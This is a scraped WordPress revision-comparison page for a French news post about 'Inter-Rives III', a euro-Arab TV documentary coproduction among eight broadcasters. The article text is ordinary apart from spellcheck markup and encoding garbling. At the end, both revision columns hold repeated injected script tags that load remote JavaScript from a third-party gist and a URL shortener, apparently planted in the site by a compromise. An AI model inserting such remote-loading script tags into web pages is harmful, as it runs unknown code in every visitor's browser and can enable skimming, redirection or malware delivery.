You are viewing an old revision of this post, from July 18, 2013 @ 13:55:28. See below for differences between this version and the current revision.
La coproduction euro-arabe “Inter-Rives III: Le printemps des nouvelles générations” s’achemine aves succès vers sa conclusion. De la liberté d’expression et la lutte à l’harcèlement sexuel au Maroc, jusqu’à l’activisme pour un différent concept de mobilité qui promeut le transport durable en Italie, le résultat de cette 3ème série est un mosaïque d’idéaux, chemins, actions qui tous ensable décrivent la Méditerranée façonnée par le nouvelles générations.
L’atelier final de coproduction, qui a eu lieu a Tunis en Février 2013, a réuni les réalisateurs prévenants des 8 radiodiffuseurs impliqués : EPTV-Algérie, ERTU-Egypte, JRTV-Jordanie, RAI-Italie, RTVE-Espagne, SNRT-Maroc, STV-Soudan, TVT-Tunisie. Cette rencontre a été l’occasion pour visionner les documentaires achevés conjointement à l’équipe de coordination – composée d’un producteur exécutif et de deux experts, l’un du nord et l’autre du sud - et pour apporter les dernières améliorations avant la finalisation de la série, qui sera distribuée et diffusée selon le “principe du panier” adopté d’habitude, grâce auquel chaque télévision partenaire acquiert les droits de la série dans son ensemble.
Changes:
July 18, 2013 @ 13:55:28 | Current Revision | ||
---|---|---|---|
Title | |||
Inter-Rives III s’achemine aves succès vers sa conclusion | Inter-Rives série III |
Content | |||
---|---|---|---|
<p> | |||
Inter Rives III- “Le <span data-scayt_word="printemps" data-scaytid= "1">printemps</span> des <span data-scayt_word="nouvelles" data-scaytid= "2">nouvelles</span> <span data-scayt_word= "générationsâ€" data-scaytid= "3">générations”</span>- <span data-scayt_word="est" data-scaytid= "4">est</span> <span data-scayt_word= "maintenant" data-scaytid= "5">maintenant</span> <span data-scayt_word="à " data-scaytid= "6">à</span> <span data-scayt_word="sa" data-scaytid= "7">sa</span> <span data-scayt_word="ligne" data-scaytid= "8">ligne</span> <span data-scayt_word="droite" data-scaytid= "9">droite</span>. Le 7 <span data-scayt_word= "documentaires" data-scaytid= "10">documentaires</span> de 13’ qui <span data-scayt_word="composent" data-scaytid= "11">composent</span> <span data-scayt_word="cette" data-scaytid= "12">cette</span> <span data-scayt_word="série" data-scaytid= "13">série</span> <span data-scayt_word= "coproduite" data-scaytid= "14">coproduite</span> <span data-scayt_word="ont" data-scaytid= "15">ont</span> <span data-scayt_word="été" data-scaytid= "16">été</span> <span data-scayt_word= "récemment" data-scaytid= "17">récemment</span> <span data-scayt_word= "délivrés" data-scaytid= "18">délivrés</span> par les <span data-scayt_word= "réalisateurs" data-scaytid= "19">réalisateurs</span> <span data-scayt_word= "impliqués" data-scaytid= "20">impliqués</span>, tenant <span data-scayt_word="compte" data-scaytid= "21">compte</span> des <span data-scayt_word= "recommandations" data-scaytid= "22">recommandations</span> techniques et <span data-scayt_word= "éditoriales" data-scaytid= "23">éditoriales</span> <span data-scayt_word= "exprimées" data-scaytid= "24">exprimées</span> <span data-scayt_word="lors" data-scaytid= "25">lors</span> du <span data-scayt_word="2e" data-scaytid= "26">2<sup>e< /sup></span> atelier de coproduction (Tunis, février 2013). | |||
<span data-scayt_word="Cette" data-scaytid= "199">Cette</span> <span data-scayt_word="3e" data-scaytid= "200">3e</span> <span data-scayt_word= "coproduction" data-scaytid= "201">coproduction</span> <span data-scayt_word= "COPEAM-ASBU" data-scaytid= "202">COPEAM-ASBU</span> <span data-scayt_word="offre" data-scaytid= "203">offre</span> un <span data-scayt_word="aperçu" data-scaytid= "204">aperçu</span> <span data-scayt_word= "significatif" data-scaytid= "205">significatif</span> des <span data-scayt_word="diverses" data-scaytid= "206">diverses</span> actions <span data-scayt_word= "entreprises" data-scaytid= "207">entreprises</span> par les <span data-scayt_word="jeunes" data-scaytid= "208">jeunes</span> <span data-scayt_word= "générations" data-scaytid= "209">générations</span> <span data-scayt_word="dans" data-scaytid= "210">dans</span> le but <span data-scayt_word= "d’améliorer" data-scaytid= "211">d’améliorer</span> <span data-scayt_word="leurs" data-scaytid= "212">leurs</span> <span data-scayt_word= "respectives" data-scaytid= "213">respectives</span> <span data-scayt_word= "sociétés" data-scaytid= "214">sociétés</span>. Les <span data-scayt_word="produits" data-scaytid= "215">produits</span> <span data-scayt_word="seront" data-scaytid= "216">seront</span> <span data-scayt_word= "bientôt" data-scaytid= "217">bientôt</span> <span data-scayt_word= "échangés" data-scaytid= "218">échangés</span> et <span data-scayt_word="prêts" data-scaytid= "219">prêts</span> <span data-scayt_word="à " data-scaytid= "220">à</span> diffuser par les <span data-scayt_word= "télévisions" data-scaytid= "221">télévisions</span> <span data-scayt_word= "partenaires" data-scaytid= "222">partenaires</span> : <span data-scayt_word="EPTV" data-scaytid= "223">EPTV</span> (<span data-scayt_word= "Algérie" data-scaytid= "224">Algérie</span>), <span data-scayt_word="ERTU" data-scaytid= "225">ERTU</span> (<span data-scayt_word="Egypte" data-scaytid= "226">Egypte</span>), RAI (<span data-scayt_word="Italie" data-scaytid= "227">Italie</span>), <span data-scayt_word="RTVE" data-scaytid= "228">RTVE</span> (<span data-scayt_word="Espagne" data-scaytid= "229">Espagne</span>), <span data-scayt_word="SNRT" data-scaytid= "230">SNRT</span> (<span data-scayt_word="Maroc" data-scaytid= "231">Maroc</span>) and <span data-scayt_word= "Télévision" data-scaytid= "232">Télévision</span> <span data-scayt_word= "Tunisienne" data-scaytid= "233">Tunisienne</span> (<span data-scayt_word="Tunisie" data-scaytid= "234">Tunisie</span>). | |||
<span data-scayt_word= "L’atelier" data-scaytid= "306">L’ atelier</span> final de <span data-scayt_word= "coproduction" data-scaytid= "260">coproduction</span>, qui a <span data-scayt_word="eu" data-scaytid= "308">eu</span> lieu a Tunis en <span data-scayt_word= "Février" data-scaytid= "309">Fé vrier</span> 2013, a <span data-scayt_word="réuni" data-scaytid= "310">réuni</span> les <span data-scayt_word= "réalisateurs" data-scaytid= "311">ré alisateurs</span> <span data-scayt_word= "prévenants" data-scaytid= "312">pré venants</span> des 8 <span data-scayt_word= "radiodiffuseurs" data-scaytid= "313">radiodiffuseurs</span> <span data-scayt_word= "impliqués" data-scaytid= "261">impliqués</span> : <span data-scayt_word= "EPTV-Algérie" data-scaytid= "315">EPTV-Algérie</span>, <span data-scayt_word= "ERTU-Egypte" data-scaytid= "316">ERTU-Egypte</span>, <span data-scayt_word= "JRTV-Jordanie" data-scaytid= "317">JRTV-Jordanie</span>, <span data-scayt_word= "RAI-Italie" data-scaytid= "318">RAI-Italie</span>, <span data-scayt_word= "RTVE-Espagne" data-scaytid= "319">RTVE-Espagne</span>, <span data-scayt_word= "SNRT-Maroc" data-scaytid= "320">SNRT-Maroc</span>, <span data-scayt_word= "STV-Soudan" data-scaytid= "321">STV-Soudan</span>, <span data-scayt_word= "TVT-Tunisie" data-scaytid= "322">TVT-Tunisie</span>. <span data-scayt_word="Cette" data-scaytid= "323">Cette</span> <span data-scayt_word="rencontre" data-scaytid= "262">rencontre</span> a <span data-scayt_word="été" data-scaytid= "263">é té</span> <span data-scayt_word= "l’occasion" data-scaytid= "326">l’ occasion</span> pour <span data-scayt_word="visionner" data-scaytid= "327">visionner</span> les <span data-scayt_word= "documentaires" data-scaytid= "264">documentaires</span> <span data-scayt_word= "achevés" data-scaytid= "329">achevés</span> <span data-scayt_word= "conjointement" data-scaytid= "330">conjointement</span> <span data-scayt_word="à " data-scaytid= "265">à</span> <span data-scayt_word= "l’équipe" data-scaytid= "332">l’ équipe</span> de coordination – <span data-scayt_word= "composée" data-scaytid= "333">composée</span> <span data-scayt_word= "d’un" data-scaytid= "334">d’un</span> <span data-scayt_word= "producteur" data-scaytid= "335">producteur</span> <span data-scayt_word= "exécutif" data-scaytid= "336">exé cutif</span> et de <span data-scayt_word="deux" data-scaytid= "337">deux</span> experts, <span data-scayt_word= "l’un" data-scaytid= "338">l’un</span> du <span data-scayt_word="nord" data-scaytid= "339">nord</span> et <span data-scayt_word= "l’autre" data-scaytid= "340">l’ autre</span> du <span data-scayt_word="sud" data-scaytid= "341">sud</span> - et pour <span data-scayt_word="apporter" data-scaytid= "342">apporter</span> les <span data-scayt_word= "dernières" data-scaytid= "343">dernières</span> <span data-scayt_word= "améliorations" data-scaytid= "344">amé liorations</span> avant la <span data-scayt_word= "finalisation" data-scaytid= "345">finalisation</span> de la <span data-scayt_word="série" data-scaytid= "266">série</span>, qui sera <span data-scayt_word= "distribuée" data-scaytid= "348">distribuée</span> et <span data-scayt_word= "diffusée" data-scaytid= "349">diffusée</span> <span data-scayt_word="selon" data-scaytid= "350">selon</span> le <span data-scayt_word= "“principe" data-scaytid= "351">“ principe</span> du <span data-scayt_word= "panierâ€" data-scaytid= "352">panier”</span> <span data-scayt_word="adopté" data-scaytid= "353">adopté</span> <span data-scayt_word= "d’habitude" data-scaytid= "354">d’ habitude</span>, <span data-scayt_word="grâce" data-scaytid= "355">grâce</span> <span data-scayt_word="auquel" data-scaytid= "356">auquel</span> <span data-scayt_word="chaque" data-scaytid= "357">chaque</span> <span data-scayt_word= "télévision" data-scaytid= "358">té lévision</span> <span data-scayt_word= "partenaire" data-scaytid= "359">partenaire</span> <span data-scayt_word="acquiert" data-scaytid= "360">acquiert</span> les <span data-scayt_word="droits" data-scaytid= "361">droits</span> de la <span data-scayt_word="série" data-scaytid= "267">série</span> <span data-scayt_word="dans" data-scaytid= "268">dans</span> son ensemble.</p> | |||
| |||
<script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> |
Note: Spaces may be added to comparison text to allow better line wrapping.